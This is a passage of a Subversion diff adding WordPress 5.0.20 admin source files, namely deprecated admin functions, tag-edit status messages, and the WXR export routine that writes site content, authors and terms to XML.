+		add_filter('update_feedback', $feedback);
+
+	include( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );
+	$upgrader = new Plugin_Upgrader();
+	return $upgrader->upgrade($plugin);
+}
+
+/**
+ * This was once used to kick-off the Theme Updater.
+ *
+ * Deprecated in favor of instantiating a Theme_Upgrader instance directly,
+ * and calling the 'upgrade' method.
+ * Unused since 2.8.0.
+ *
+ * @since 2.7.0
+ * @deprecated 3.7.0 Use Theme_Upgrader
+ * @see Theme_Upgrader
+ */
+function wp_update_theme($theme, $feedback = '') {
+	_deprecated_function( __FUNCTION__, '3.7.0', 'new Theme_Upgrader();' );
+
+	if ( !empty($feedback) )
+		add_filter('update_feedback', $feedback);
+
+	include( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );
+	$upgrader = new Theme_Upgrader();
+	return $upgrader->upgrade($theme);
+}
+
+/**
+ * This was once used to display attachment links. Now it is deprecated and stubbed.
+ *
+ * @since 2.0.0
+ * @deprecated 3.7.0
+ *
+ * @param int|bool $id
+ */
+function the_attachment_links( $id = false ) {
+	_deprecated_function( __FUNCTION__, '3.7.0' );
+}
+
+/**
+ * Displays a screen icon.
+ *
+ * @since 2.7.0
+ * @deprecated 3.8.0
+ */
+function screen_icon() {
+	_deprecated_function( __FUNCTION__, '3.8.0' );
+	echo get_screen_icon();
+}
+
+/**
+ * Retrieves the screen icon (no longer used in 3.8+).
+ *
+ * @since 3.2.0
+ * @deprecated 3.8.0
+ *
+ * @return string An HTML comment explaining that icons are no longer used.
+ */
+function get_screen_icon() {
+	_deprecated_function( __FUNCTION__, '3.8.0' );
+	return '<!-- Screen icons are no longer used as of WordPress 3.8. -->';
+}
+
+/**
+ * Deprecated dashboard widget controls.
+ *
+ * @since 2.5.0
+ * @deprecated 3.8.0
+ */
+function wp_dashboard_incoming_links_output() {}
+
+/**
+ * Deprecated dashboard secondary output.
+ *
+ * @deprecated 3.8.0
+ */
+function wp_dashboard_secondary_output() {}
+
+/**
+ * Deprecated dashboard widget controls.
+ *
+ * @since 2.7.0
+ * @deprecated 3.8.0
+ */
+function wp_dashboard_incoming_links() {}
+
+/**
+ * Deprecated dashboard incoming links control.
+ *
+ * @deprecated 3.8.0
+ */
+function wp_dashboard_incoming_links_control() {}
+
+/**
+ * Deprecated dashboard plugins control.
+ *
+ * @deprecated 3.8.0
+ */
+function wp_dashboard_plugins() {}
+
+/**
+ * Deprecated dashboard primary control.
+ *
+ * @deprecated 3.8.0
+ */
+function wp_dashboard_primary_control() {}
+
+/**
+ * Deprecated dashboard recent comments control.
+ *
+ * @deprecated 3.8.0
+ */
+function wp_dashboard_recent_comments_control() {}
+
+/**
+ * Deprecated dashboard secondary section.
+ *
+ * @deprecated 3.8.0
+ */
+function wp_dashboard_secondary() {}
+
+/**
+ * Deprecated dashboard secondary control.
+ *
+ * @deprecated 3.8.0
+ */
+function wp_dashboard_secondary_control() {}
+
+/**
+ * Display plugins text for the WordPress news widget.
+ *
+ * @since 2.5.0
+ * @deprecated 4.8.0
+ *
+ * @param string $rss  The RSS feed URL.
+ * @param array  $args Array of arguments for this RSS feed.
+ */
+function wp_dashboard_plugins_output( $rss, $args = array() ) {
+	_deprecated_function( __FUNCTION__, '4.8.0' );
+
+	// Plugin feeds plus link to install them
+	$popular = fetch_feed( $args['url']['popular'] );
+
+	if ( false === $plugin_slugs = get_transient( 'plugin_slugs' ) ) {
+		$plugin_slugs = array_keys( get_plugins() );
+		set_transient( 'plugin_slugs', $plugin_slugs, DAY_IN_SECONDS );
+	}
+
+	echo '<ul>';
+
+	foreach ( array( $popular ) as $feed ) {
+		if ( is_wp_error( $feed ) || ! $feed->get_item_quantity() )
+			continue;
+
+		$items = $feed->get_items(0, 5);
+
+		// Pick a random, non-installed plugin
+		while ( true ) {
+			// Abort this foreach loop iteration if there's no plugins left of this type
+			if ( 0 == count($items) )
+				continue 2;
+
+			$item_key = array_rand($items);
+			$item = $items[$item_key];
+
+			list($link, $frag) = explode( '#', $item->get_link() );
+
+			$link = esc_url($link);
+			if ( preg_match( '|/([^/]+?)/?$|', $link, $matches ) )
+				$slug = $matches[1];
+			else {
+				unset( $items[$item_key] );
+				continue;
+			}
+
+			// Is this random plugin's slug already installed? If so, try again.
+			reset( $plugin_slugs );
+			foreach ( $plugin_slugs as $plugin_slug ) {
+				if ( $slug == substr( $plugin_slug, 0, strlen( $slug ) ) ) {
+					unset( $items[$item_key] );
+					continue 2;
+				}
+			}
+
+			// If we get to this point, then the random plugin isn't installed and we can stop the while().
+			break;
+		}
+
+		// Eliminate some common badly formed plugin descriptions
+		while ( ( null !== $item_key = array_rand($items) ) && false !== strpos( $items[$item_key]->get_description(), 'Plugin Name:' ) )
+			unset($items[$item_key]);
+
+		if ( !isset($items[$item_key]) )
+			continue;
+
+		$raw_title = $item->get_title();
+
+		$ilink = wp_nonce_url('plugin-install.php?tab=plugin-information&plugin=' . $slug, 'install-plugin_' . $slug) . '&amp;TB_iframe=true&amp;width=600&amp;height=800';
+		echo '<li class="dashboard-news-plugin"><span>' . __( 'Popular Plugin' ) . ':</span> ' . esc_html( $raw_title ) .
+			'&nbsp;<a href="' . $ilink . '" class="thickbox open-plugin-details-modal" aria-label="' .
+			/* translators: %s: plugin name */
+			esc_attr( sprintf( __( 'Install %s' ), $raw_title ) ) . '">(' . __( 'Install' ) . ')</a></li>';
+
+		$feed->__destruct();
+		unset( $feed );
+	}
+
+	echo '</ul>';
+}
+
+/**
+ * This was once used to move child posts to a new parent.
+ *
+ * @since 2.3.0
+ * @deprecated 3.9.0
+ * @access private
+ *
+ * @param int $old_ID
+ * @param int $new_ID
+ */
+function _relocate_children( $old_ID, $new_ID ) {
+	_deprecated_function( __FUNCTION__, '3.9.0' );
+}
+
+/**
+ * Add a top-level menu page in the 'objects' section.
+ *
+ * This function takes a capability which will be used to determine whether
+ * or not a page is included in the menu.
+ *
+ * The function which is hooked in to handle the output of the page must check
+ * that the user has the required capability as well.
+ *
+ * @since 2.7.0
+ *
+ * @deprecated 4.5.0 Use add_menu_page()
+ * @see add_menu_page()
+ * @global int $_wp_last_object_menu
+ *
+ * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
+ * @param string   $menu_title The text to be used for the menu.
+ * @param string   $capability The capability required for this menu to be displayed to the user.
+ * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
+ * @param callable $function   The function to be called to output the content for this page.
+ * @param string   $icon_url   The url to the icon to be used for this menu.
+ * @return string The resulting page's hook_suffix.
+ */
+function add_object_page( $page_title, $menu_title, $capability, $menu_slug, $function = '', $icon_url = '') {
+	_deprecated_function( __FUNCTION__, '4.5.0', 'add_menu_page()' );
+
+	global $_wp_last_object_menu;
+
+	$_wp_last_object_menu++;
+
+	return add_menu_page($page_title, $menu_title, $capability, $menu_slug, $function, $icon_url, $_wp_last_object_menu);
+}
+
+/**
+ * Add a top-level menu page in the 'utility' section.
+ *
+ * This function takes a capability which will be used to determine whether
+ * or not a page is included in the menu.
+ *
+ * The function which is hooked in to handle the output of the page must check
+ * that the user has the required capability as well.
+ *
+ * @since 2.7.0
+ *
+ * @deprecated 4.5.0 Use add_menu_page()
+ * @see add_menu_page()
+ * @global int $_wp_last_utility_menu
+ *
+ * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
+ * @param string   $menu_title The text to be used for the menu.
+ * @param string   $capability The capability required for this menu to be displayed to the user.
+ * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
+ * @param callable $function   The function to be called to output the content for this page.
+ * @param string   $icon_url   The url to the icon to be used for this menu.
+ * @return string The resulting page's hook_suffix.
+ */
+function add_utility_page( $page_title, $menu_title, $capability, $menu_slug, $function = '', $icon_url = '') {
+	_deprecated_function( __FUNCTION__, '4.5.0', 'add_menu_page()' );
+
+	global $_wp_last_utility_menu;
+
+	$_wp_last_utility_menu++;
+
+	return add_menu_page($page_title, $menu_title, $capability, $menu_slug, $function, $icon_url, $_wp_last_utility_menu);
+}
+
+/**
+ * Disables autocomplete on the 'post' form (Add/Edit Post screens) for WebKit browsers,
+ * as they disregard the autocomplete setting on the editor textarea. That can break the editor
+ * when the user navigates to it with the browser's Back button. See #28037
+ *
+ * Replaced with wp_page_reload_on_back_button_js() that also fixes this problem.
+ *
+ * @since 4.0.0
+ * @deprecated 4.6.0
+ *
+ * @link https://core.trac.wordpress.org/ticket/35852
+ *
+ * @global bool $is_safari
+ * @global bool $is_chrome
+ */
+function post_form_autocomplete_off() {
+	global $is_safari, $is_chrome;
+
+	_deprecated_function( __FUNCTION__, '4.6.0' );
+
+	if ( $is_safari || $is_chrome ) {
+		echo ' autocomplete="off"';
+	}
+}
+
+/**
+ * Display JavaScript on the page.
+ *
+ * @since 3.5.0
+ * @deprecated 4.9.0
+ */
+function options_permalink_add_js() {
+	?>
+	<script type="text/javascript">
+		jQuery(document).ready(function() {
+			jQuery('.permalink-structure input:radio').change(function() {
+				if ( 'custom' == this.value )
+					return;
+				jQuery('#permalink_structure').val( this.value );
+			});
+			jQuery( '#permalink_structure' ).on( 'click input', function() {
+				jQuery( '#custom_selection' ).prop( 'checked', true );
+			});
+		});
+	</script>
+	<?php
+}
Index: /tags/5.0.20/src/wp-admin/includes/edit-tag-messages.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/edit-tag-messages.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/edit-tag-messages.php	(revision 56912)
@@ -0,0 +1,58 @@
+<?php
+/**
+ * Edit Tags Administration: Messages
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 4.4.0
+ */
+
+$messages = array();
+// 0 = unused. Messages start at index 1.
+$messages['_item'] = array(
+	0 => '',
+	1 => __( 'Item added.' ),
+	2 => __( 'Item deleted.' ),
+	3 => __( 'Item updated.' ),
+	4 => __( 'Item not added.' ),
+	5 => __( 'Item not updated.' ),
+	6 => __( 'Items deleted.' ),
+);
+
+$messages['category'] = array(
+	0 => '',
+	1 => __( 'Category added.' ),
+	2 => __( 'Category deleted.' ),
+	3 => __( 'Category updated.' ),
+	4 => __( 'Category not added.' ),
+	5 => __( 'Category not updated.' ),
+	6 => __( 'Categories deleted.' ),
+);
+
+$messages['post_tag'] = array(
+	0 => '',
+	1 => __( 'Tag added.' ),
+	2 => __( 'Tag deleted.' ),
+	3 => __( 'Tag updated.' ),
+	4 => __( 'Tag not added.' ),
+	5 => __( 'Tag not updated.' ),
+	6 => __( 'Tags deleted.' ),
+);
+
+/**
+ * Filters the messages displayed when a tag is updated.
+ *
+ * @since 3.7.0
+ *
+ * @param array $messages The messages to be displayed.
+ */
+$messages = apply_filters( 'term_updated_messages', $messages );
+
+$message = false;
+if ( isset( $_REQUEST['message'] ) && ( $msg = (int) $_REQUEST['message'] ) ) {
+	if ( isset( $messages[ $taxonomy ][ $msg ] ) ) {
+		$message = $messages[ $taxonomy ][ $msg ];
+	} elseif ( ! isset( $messages[ $taxonomy ] ) && isset( $messages['_item'][ $msg ] ) ) {
+		$message = $messages['_item'][ $msg ];
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/export.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/export.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/export.php	(revision 56912)
@@ -0,0 +1,621 @@
+<?php
+/**
+ * WordPress Export Administration API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Version number for the export format.
+ *
+ * Bump this when something changes that might affect compatibility.
+ *
+ * @since 2.5.0
+ */
+define( 'WXR_VERSION', '1.2' );
+
+/**
+ * Generates the WXR export file for download.
+ *
+ * Default behavior is to export all content, however, note that post content will only
+ * be exported for post types with the `can_export` argument enabled. Any posts with the
+ * 'auto-draft' status will be skipped.
+ *
+ * @since 2.1.0
+ *
+ * @global wpdb    $wpdb WordPress database abstraction object.
+ * @global WP_Post $post Global `$post`.
+ *
+ * @param array $args {
+ *     Optional. Arguments for generating the WXR export file for download. Default empty array.
+ *
+ *     @type string $content        Type of content to export. If set, only the post content of this post type
+ *                                  will be exported. Accepts 'all', 'post', 'page', 'attachment', or a defined
+ *                                  custom post. If an invalid custom post type is supplied, every post type for
+ *                                  which `can_export` is enabled will be exported instead. If a valid custom post
+ *                                  type is supplied but `can_export` is disabled, then 'posts' will be exported
+ *                                  instead. When 'all' is supplied, only post types with `can_export` enabled will
+ *                                  be exported. Default 'all'.
+ *     @type string $author         Author to export content for. Only used when `$content` is 'post', 'page', or
+ *                                  'attachment'. Accepts false (all) or a specific author ID. Default false (all).
+ *     @type string $category       Category (slug) to export content for. Used only when `$content` is 'post'. If
+ *                                  set, only post content assigned to `$category` will be exported. Accepts false
+ *                                  or a specific category slug. Default is false (all categories).
+ *     @type string $start_date     Start date to export content from. Expected date format is 'Y-m-d'. Used only
+ *                                  when `$content` is 'post', 'page' or 'attachment'. Default false (since the
+ *                                  beginning of time).
+ *     @type string $end_date       End date to export content to. Expected date format is 'Y-m-d'. Used only when
+ *                                  `$content` is 'post', 'page' or 'attachment'. Default false (latest publish date).
+ *     @type string $status         Post status to export posts for. Used only when `$content` is 'post' or 'page'.
+ *                                  Accepts false (all statuses except 'auto-draft'), or a specific status, i.e.
+ *                                  'publish', 'pending', 'draft', 'auto-draft', 'future', 'private', 'inherit', or
+ *                                  'trash'. Default false (all statuses except 'auto-draft').
+ * }
+ */
+function export_wp( $args = array() ) {
+	global $wpdb, $post;
+
+	$defaults = array( 'content' => 'all', 'author' => false, 'category' => false,
+		'start_date' => false, 'end_date' => false, 'status' => false,
+	);
+	$args = wp_parse_args( $args, $defaults );
+
+	/**
+	 * Fires at the beginning of an export, before any headers are sent.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param array $args An array of export arguments.
+	 */
+	do_action( 'export_wp', $args );
+
+	$sitename = sanitize_key( get_bloginfo( 'name' ) );
+	if ( ! empty( $sitename ) ) {
+		$sitename .= '.';
+	}
+	$date = date( 'Y-m-d' );
+	$wp_filename = $sitename . 'wordpress.' . $date . '.xml';
+	/**
+	 * Filters the export filename.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $wp_filename The name of the file for download.
+	 * @param string $sitename    The site name.
+	 * @param string $date        Today's date, formatted.
+	 */
+	$filename = apply_filters( 'export_wp_filename', $wp_filename, $sitename, $date );
+
+	header( 'Content-Description: File Transfer' );
+	header( 'Content-Disposition: attachment; filename=' . $filename );
+	header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ), true );
+
+	if ( 'all' != $args['content'] && post_type_exists( $args['content'] ) ) {
+		$ptype = get_post_type_object( $args['content'] );
+		if ( ! $ptype->can_export )
+			$args['content'] = 'post';
+
+		$where = $wpdb->prepare( "{$wpdb->posts}.post_type = %s", $args['content'] );
+	} else {
+		$post_types = get_post_types( array( 'can_export' => true ) );
+		$esses = array_fill( 0, count($post_types), '%s' );
+		$where = $wpdb->prepare( "{$wpdb->posts}.post_type IN (" . implode( ',', $esses ) . ')', $post_types );
+	}
+
+	if ( $args['status'] && ( 'post' == $args['content'] || 'page' == $args['content'] ) )
+		$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_status = %s", $args['status'] );
+	else
+		$where .= " AND {$wpdb->posts}.post_status != 'auto-draft'";
+
+	$join = '';
+	if ( $args['category'] && 'post' == $args['content'] ) {
+		if ( $term = term_exists( $args['category'], 'category' ) ) {
+			$join = "INNER JOIN {$wpdb->term_relationships} ON ({$wpdb->posts}.ID = {$wpdb->term_relationships}.object_id)";
+			$where .= $wpdb->prepare( " AND {$wpdb->term_relationships}.term_taxonomy_id = %d", $term['term_taxonomy_id'] );
+		}
+	}
+
+	if ( 'post' == $args['content'] || 'page' == $args['content'] || 'attachment' == $args['content'] ) {
+		if ( $args['author'] )
+			$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_author = %d", $args['author'] );
+
+		if ( $args['start_date'] )
+			$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_date >= %s", date( 'Y-m-d', strtotime($args['start_date']) ) );
+
+		if ( $args['end_date'] )
+			$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_date < %s", date( 'Y-m-d', strtotime('+1 month', strtotime($args['end_date'])) ) );
+	}
+
+	// Grab a snapshot of post IDs, just in case it changes during the export.
+	$post_ids = $wpdb->get_col( "SELECT ID FROM {$wpdb->posts} $join WHERE $where" );
+
+	/*
+	 * Get the requested terms ready, empty unless posts filtered by category
+	 * or all content.
+	 */
+	$cats = $tags = $terms = array();
+	if ( isset( $term ) && $term ) {
+		$cat = get_term( $term['term_id'], 'category' );
+		$cats = array( $cat->term_id => $cat );
+		unset( $term, $cat );
+	} elseif ( 'all' == $args['content'] ) {
+		$categories = (array) get_categories( array( 'get' => 'all' ) );
+		$tags = (array) get_tags( array( 'get' => 'all' ) );
+
+		$custom_taxonomies = get_taxonomies( array( '_builtin' => false ) );
+		$custom_terms = (array) get_terms( $custom_taxonomies, array( 'get' => 'all' ) );
+
+		// Put categories in order with no child going before its parent.
+		while ( $cat = array_shift( $categories ) ) {
+			if ( $cat->parent == 0 || isset( $cats[$cat->parent] ) )
+				$cats[$cat->term_id] = $cat;
+			else
+				$categories[] = $cat;
+		}
+
+		// Put terms in order with no child going before its parent.
+		while ( $t = array_shift( $custom_terms ) ) {
+			if ( $t->parent == 0 || isset( $terms[$t->parent] ) )
+				$terms[$t->term_id] = $t;
+			else
+				$custom_terms[] = $t;
+		}
+
+		unset( $categories, $custom_taxonomies, $custom_terms );
+	}
+
+	/**
+	 * Wrap given string in XML CDATA tag.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $str String to wrap in XML CDATA tag.
+	 * @return string
+	 */
+	function wxr_cdata( $str ) {
+		if ( ! seems_utf8( $str ) ) {
+			$str = utf8_encode( $str );
+		}
+		// $str = ent2ncr(esc_html($str));
+		$str = '<![CDATA[' . str_replace( ']]>', ']]]]><![CDATA[>', $str ) . ']]>';
+
+		return $str;
+	}
+
+	/**
+	 * Return the URL of the site
+	 *
+	 * @since 2.5.0
+	 *
+	 * @return string Site URL.
+	 */
+	function wxr_site_url() {
+		// Multisite: the base URL.
+		if ( is_multisite() )
+			return network_home_url();
+		// WordPress (single site): the blog URL.
+		else
+			return get_bloginfo_rss( 'url' );
+	}
+
+	/**
+	 * Output a cat_name XML tag from a given category object
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param object $category Category Object
+	 */
+	function wxr_cat_name( $category ) {
+		if ( empty( $category->name ) )
+			return;
+
+		echo '<wp:cat_name>' . wxr_cdata( $category->name ) . "</wp:cat_name>\n";
+	}
+
+	/**
+	 * Output a category_description XML tag from a given category object
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param object $category Category Object
+	 */
+	function wxr_category_description( $category ) {
+		if ( empty( $category->description ) )
+			return;
+
+		echo '<wp:category_description>' . wxr_cdata( $category->description ) . "</wp:category_description>\n";
+	}
+
+	/**
+	 * Output a tag_name XML tag from a given tag object
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param object $tag Tag Object
+	 */
+	function wxr_tag_name( $tag ) {
+		if ( empty( $tag->name ) )
+			return;
+
+		echo '<wp:tag_name>' . wxr_cdata( $tag->name ) . "</wp:tag_name>\n";
+	}
+
+	/**
+	 * Output a tag_description XML tag from a given tag object
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param object $tag Tag Object
+	 */
+	function wxr_tag_description( $tag ) {
+		if ( empty( $tag->description ) )
+			return;
+
+		echo '<wp:tag_description>' . wxr_cdata( $tag->description ) . "</wp:tag_description>\n";
+	}
+
+	/**
+	 * Output a term_name XML tag from a given term object
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param object $term Term Object
+	 */
+	function wxr_term_name( $term ) {
+		if ( empty( $term->name ) )
+			return;
+
+		echo '<wp:term_name>' . wxr_cdata( $term->name ) . "</wp:term_name>\n";
+	}
+
+	/**
+	 * Output a term_description XML tag from a given term object
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param object $term Term Object
+	 */
+	function wxr_term_description( $term ) {
+		if ( empty( $term->description ) )
+			return;
+
+		echo "\t\t<wp:term_description>" . wxr_cdata( $term->description ) . "</wp:term_description>\n";
+	}
+
+	/**
+	 * Output term meta XML tags for a given term object.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param WP_Term $term Term object.
+	 */
+	function wxr_term_meta( $term ) {
+		global $wpdb;
+
+		$termmeta = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->termmeta WHERE term_id = %d", $term->term_id ) );
+
+		foreach ( $termmeta as $meta ) {
+			/**
+			 * Filters whether to selectively skip term meta used for WXR exports.
+			 *
+			 * Returning a truthy value to the filter will skip the current meta
+			 * object from being exported.
+			 *
+			 * @since 4.6.0
+			 *
+			 * @param bool   $skip     Whether to skip the current piece of term meta. Default false.
+			 * @param string $meta_key Current meta key.
+			 * @param object $meta     Current meta object.
+			 */
+			if ( ! apply_filters( 'wxr_export_skip_termmeta', false, $meta->meta_key, $meta ) ) {
+				printf( "\t\t<wp:termmeta>\n\t\t\t<wp:meta_key>%s</wp:meta_key>\n\t\t\t<wp:meta_value>%s</wp:meta_value>\n\t\t</wp:termmeta>\n", wxr_cdata( $meta->meta_key ), wxr_cdata( $meta->meta_value ) );
+			}
+		}
+	}
+
+	/**
+	 * Output list of authors with posts
+	 *
+	 * @since 3.1.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param array $post_ids Array of post IDs to filter the query by. Optional.
+	 */
+	function wxr_authors_list( array $post_ids = null ) {
+		global $wpdb;
+
+		if ( !empty( $post_ids ) ) {
+			$post_ids = array_map( 'absint', $post_ids );
+			$and = 'AND ID IN ( ' . implode( ', ', $post_ids ) . ')';
+		} else {
+			$and = '';
+		}
+
+		$authors = array();
+		$results = $wpdb->get_results( "SELECT DISTINCT post_author FROM $wpdb->posts WHERE post_status != 'auto-draft' $and" );
+		foreach ( (array) $results as $result )
+			$authors[] = get_userdata( $result->post_author );
+
+		$authors = array_filter( $authors );
+
+		foreach ( $authors as $author ) {
+			echo "\t<wp:author>";
+			echo '<wp:author_id>' . intval( $author->ID ) . '</wp:author_id>';
+			echo '<wp:author_login>' . wxr_cdata( $author->user_login ) . '</wp:author_login>';
+			echo '<wp:author_email>' . wxr_cdata( $author->user_email ) . '</wp:author_email>';
+			echo '<wp:author_display_name>' . wxr_cdata( $author->display_name ) . '</wp:author_display_name>';
+			echo '<wp:author_first_name>' . wxr_cdata( $author->first_name ) . '</wp:author_first_name>';
+			echo '<wp:author_last_name>' . wxr_cdata( $author->last_name ) . '</wp:author_last_name>';
+			echo "</wp:author>\n";
+		}
+	}
+
+	/**
+	 * Output all navigation menu terms
+	 *
+	 * @since 3.1.0
+	 */
+	function wxr_nav_menu_terms() {
+		$nav_menus = wp_get_nav_menus();
+		if ( empty( $nav_menus ) || ! is_array( $nav_menus ) )
+			return;
+
+		foreach ( $nav_menus as $menu ) {
+			echo "\t<wp:term>";
+			echo '<wp:term_id>' . intval( $menu->term_id ) . '</wp:term_id>';
+			echo '<wp:term_taxonomy>nav_menu</wp:term_taxonomy>';
+			echo '<wp:term_slug>' . wxr_cdata( $menu->slug ) . '</wp:term_slug>';
+			wxr_term_name( $menu );
+			echo "</wp:term>\n";
+		}
+	}
+
+	/**
+	 * Output list of taxonomy terms, in XML tag format, associated with a post
+	 *
+	 * @since 2.3.0
+	 */
+	function wxr_post_taxonomy() {
+		$post = get_post();
+
+		$taxonomies = get_object_taxonomies( $post->post_type );
+		if ( empty( $taxonomies ) )
+			return;
+		$terms = wp_get_object_terms( $post->ID, $taxonomies );
+
+		foreach ( (array) $terms as $term ) {
+			echo "\t\t<category domain=\"{$term->taxonomy}\" nicename=\"{$term->slug}\">" . wxr_cdata( $term->name ) . "</category>\n";
+		}
+	}
+
+	/**
+	 *
+	 * @param bool   $return_me
+	 * @param string $meta_key
+	 * @return bool
+	 */
+	function wxr_filter_postmeta( $return_me, $meta_key ) {
+		if ( '_edit_lock' == $meta_key )
+			$return_me = true;
+		return $return_me;
+	}
+	add_filter( 'wxr_export_skip_postmeta', 'wxr_filter_postmeta', 10, 2 );
+
+	echo '<?xml version="1.0" encoding="' . get_bloginfo('charset') . "\" ?>\n";
+
+	?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your site. -->
+<!-- It contains information about your site's posts, pages, comments, categories, and other content. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- This file is not intended to serve as a complete backup of your site. -->
+
+<!-- To import this information into a WordPress site follow these steps: -->
+<!-- 1. Log in to that site as an administrator. -->
+<!-- 2. Go to Tools: Import in the WordPress admin panel. -->
+<!-- 3. Install the "WordPress" importer from the list. -->
+<!-- 4. Activate & Run Importer. -->
+<!-- 5. Upload this file using the form provided on that page. -->
+<!-- 6. You will first be asked to map the authors in this export file to users -->
+<!--    on the site. For each author, you may choose to map to an -->
+<!--    existing user on the site or to create a new user. -->
+<!-- 7. WordPress will then import each of the posts, pages, comments, categories, etc. -->
+<!--    contained in this file into your site. -->
+
+<?php the_generator( 'export' ); ?>
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/<?php echo WXR_VERSION; ?>/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/<?php echo WXR_VERSION; ?>/"
+>
+
+<channel>
+	<title><?php bloginfo_rss( 'name' ); ?></title>
+	<link><?php bloginfo_rss( 'url' ); ?></link>
+	<description><?php bloginfo_rss( 'description' ); ?></description>
+	<pubDate><?php echo date( 'D, d M Y H:i:s +0000' ); ?></pubDate>
+	<language><?php bloginfo_rss( 'language' ); ?></language>
+	<wp:wxr_version><?php echo WXR_VERSION; ?></wp:wxr_version>
+	<wp:base_site_url><?php echo wxr_site_url(); ?></wp:base_site_url>
+	<wp:base_blog_url><?php bloginfo_rss( 'url' ); ?></wp:base_blog_url>
+
+<?php wxr_authors_list( $post_ids ); ?>
+
+<?php foreach ( $cats as $c ) : ?>
+	<wp:category>
+		<wp:term_id><?php echo intval( $c->term_id ); ?></wp:term_id>
+		<wp:category_nicename><?php echo wxr_cdata( $c->slug ); ?></wp:category_nicename>
+		<wp:category_parent><?php echo wxr_cdata( $c->parent ? $cats[$c->parent]->slug : '' ); ?></wp:category_parent>
+		<?php wxr_cat_name( $c );
+		wxr_category_description( $c );
+		wxr_term_meta( $c ); ?>
+	</wp:category>
+<?php endforeach; ?>
+<?php foreach ( $tags as $t ) : ?>
+	<wp:tag>
+		<wp:term_id><?php echo intval( $t->term_id ); ?></wp:term_id>
+		<wp:tag_slug><?php echo wxr_cdata( $t->slug ); ?></wp:tag_slug>
+		<?php wxr_tag_name( $t );
+		wxr_tag_description( $t );
+		wxr_term_meta( $t ); ?>
+	</wp:tag>
+<?php endforeach; ?>
+<?php foreach ( $terms as $t ) : ?>
+	<wp:term>
+		<wp:term_id><?php echo wxr_cdata( $t->term_id ); ?></wp:term_id>
+		<wp:term_taxonomy><?php echo wxr_cdata( $t->taxonomy ); ?></wp:term_taxonomy>
+		<wp:term_slug><?php echo wxr_cdata( $t->slug ); ?></wp:term_slug>
+		<wp:term_parent><?php echo wxr_cdata( $t->parent ? $terms[$t->parent]->slug : '' ); ?></wp:term_parent>
+		<?php wxr_term_name( $t );
+		wxr_term_description( $t );
+		wxr_term_meta( $t ); ?>
+	</wp:term>
+<?php endforeach; ?>
+<?php if ( 'all' == $args['content'] ) wxr_nav_menu_terms(); ?>
+
+	<?php
+	/** This action is documented in wp-includes/feed-rss2.php */
+	do_action( 'rss2_head' );
+	?>
+
+<?php if ( $post_ids ) {
+	/**
+	 * @global WP_Query $wp_query
+	 */
+	global $wp_query;
+
+	// Fake being in the loop.
+	$wp_query->in_the_loop = true;
+
+	// Fetch 20 posts at a time rather than loading the entire table into memory.
+	while ( $next_posts = array_splice( $post_ids, 0, 20 ) ) {
+	$where = 'WHERE ID IN (' . join( ',', $next_posts ) . ')';
+	$posts = $wpdb->get_results( "SELECT * FROM {$wpdb->posts} $where" );
+
+	// Begin Loop.
+	foreach ( $posts as $post ) {
+		setup_postdata( $post );
+		$is_sticky = is_sticky( $post->ID ) ? 1 : 0;
+?>
+	<item>
+		<title><?php
+			/** This filter is documented in wp-includes/feed.php */
+			echo apply_filters( 'the_title_rss', $post->post_title );
+		?></title>
+		<link><?php the_permalink_rss() ?></link>
+		<pubDate><?php echo mysql2date( 'D, d M Y H:i:s +0000', get_post_time( 'Y-m-d H:i:s', true ), false ); ?></pubDate>
+		<dc:creator><?php echo wxr_cdata( get_the_author_meta( 'login' ) ); ?></dc:creator>
+		<guid isPermaLink="false"><?php the_guid(); ?></guid>
+		<description></description>
+		<content:encoded><?php
+			/**
+			 * Filters the post content used for WXR exports.
+			 *
+			 * @since 2.5.0
+			 *
+			 * @param string $post_content Content of the current post.
+			 */
+			echo wxr_cdata( apply_filters( 'the_content_export', $post->post_content ) );
+		?></content:encoded>
+		<excerpt:encoded><?php
+			/**
+			 * Filters the post excerpt used for WXR exports.
+			 *
+			 * @since 2.6.0
+			 *
+			 * @param string $post_excerpt Excerpt for the current post.
+			 */
+			echo wxr_cdata( apply_filters( 'the_excerpt_export', $post->post_excerpt ) );
+		?></excerpt:encoded>
+		<wp:post_id><?php echo intval( $post->ID ); ?></wp:post_id>
+		<wp:post_date><?php echo wxr_cdata( $post->post_date ); ?></wp:post_date>
+		<wp:post_date_gmt><?php echo wxr_cdata( $post->post_date_gmt ); ?></wp:post_date_gmt>
+		<wp:comment_status><?php echo wxr_cdata( $post->comment_status ); ?></wp:comment_status>
